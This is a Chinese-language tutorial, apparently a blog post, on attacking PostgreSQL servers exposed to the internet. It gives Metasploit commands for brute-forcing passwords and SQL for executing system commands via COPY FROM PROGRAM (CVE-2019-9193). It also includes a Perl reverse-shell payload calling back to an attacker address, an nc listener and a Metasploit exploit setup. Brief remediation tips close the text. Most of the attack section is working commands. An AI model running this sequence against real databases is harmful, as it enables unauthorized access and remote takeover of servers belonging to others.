PostgresSQL未授权导致命令执行

简介: PostgresSQL未授权导致命令执行

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。
当该服务配置不当开放到外网时可以被暴破密码,获得任意用户密码登录成功后使用(CVE-2019-9193)高权限命令执行即可反弹管理员shell
实战

1.使用nmap或者fofa发现该端口或者相关服务
图片

2.使用kali系统中msf渗透模型进行暴破用户密码。
msfconsole //进入msf工具
use auxiliary/scanner/postgres/postgres_login //进入暴破模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432 //添加目标端口
set user_file /home/taibai/1 //后面的路径是用户名字典
set pass_file /home/taibai/2 //后面的路径是密码字典
show options //查看相关配置信息
run //开始运行
image.png

破解成功后会有提示破解的用户密码
image.png

3.使用破解后的用户名密码登录

psql -h 1.1.1.1 -U postgres -W //连接后提示输入密码
image.png

4.使用(CVE-2019-9193)高权限命令执行漏洞执行命令
DROP TABLE IF EXISTS cmd_exec; //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id'; //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; //查看执行结果
image.png

image.png

image.png

5.使用nc反弹shell(注意需要公网ip地址)

//攻击机上执行
nc -vv -l -p 1234

//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';
6.如果上面不行可以直接使用msf中利用模块(注意需要公网ip地址)
set rhosts 1.1.1.1  //配置目标ip
set rport 5432   //配置目标端口
set username postgres  //配置目标用户名
set password 123456   //配置目标密码
set lhost 2.2.2.2   //配置反弹ip
set lport 1234   //配置反弹端口
show options  //查看配置
exp  //运行

图片

7.修复建议

升级最新稳定版本

配置端口白名单不要开放到外网

配置强密码

相关文章
|
7月前
|
分布式计算 Hadoop 网络安全
|
8月前
|
Shell Linux
Linux脚本Shell脚本来实现一次性kill多个端口的进程
Linux脚本Shell脚本来实现一次性kill多个端口的进程
118 0
|
存储 算法 Unix
Shell中建立与使用临时性文件的方法详解
Shell中建立与使用临时性文件的方法详解
101 0
sudo的安全策略阻止/允许用户执行指定的命令
sudo的安全策略阻止/允许用户执行指定的命令
167 0
Liunx系列——有关权限的命令
Liunx系列——有关权限的命令
|
Linux
LINUX使用C执行系统命令ping,读取执行结果的崩溃日志
LINUX使用C执行系统命令ping,读取执行结果的崩溃日志
202 0
|
Shell Linux 网络安全
大技霸教你远程执行Linux脚本和命令
如果现在需要在 Linux 服务器上执行一系列命令(比如搭建 LNMP 环境)我应该会第一时间想到想办法写个 Shell 脚本,然后扔上去执行以下看看结果。 然而一贯懒惰的我并不想这么去执行 Shell 和一些重复命令。所以俺寻思可以有个方法本地直接在服务器端执行脚本,寻思生异端,这时候有某大技霸告诉我有个叫 paramiko 的 Python 库,从此开启我新世界的大门。
297 0
大技霸教你远程执行Linux脚本和命令
|
Shell Linux
Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
1335 0
Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法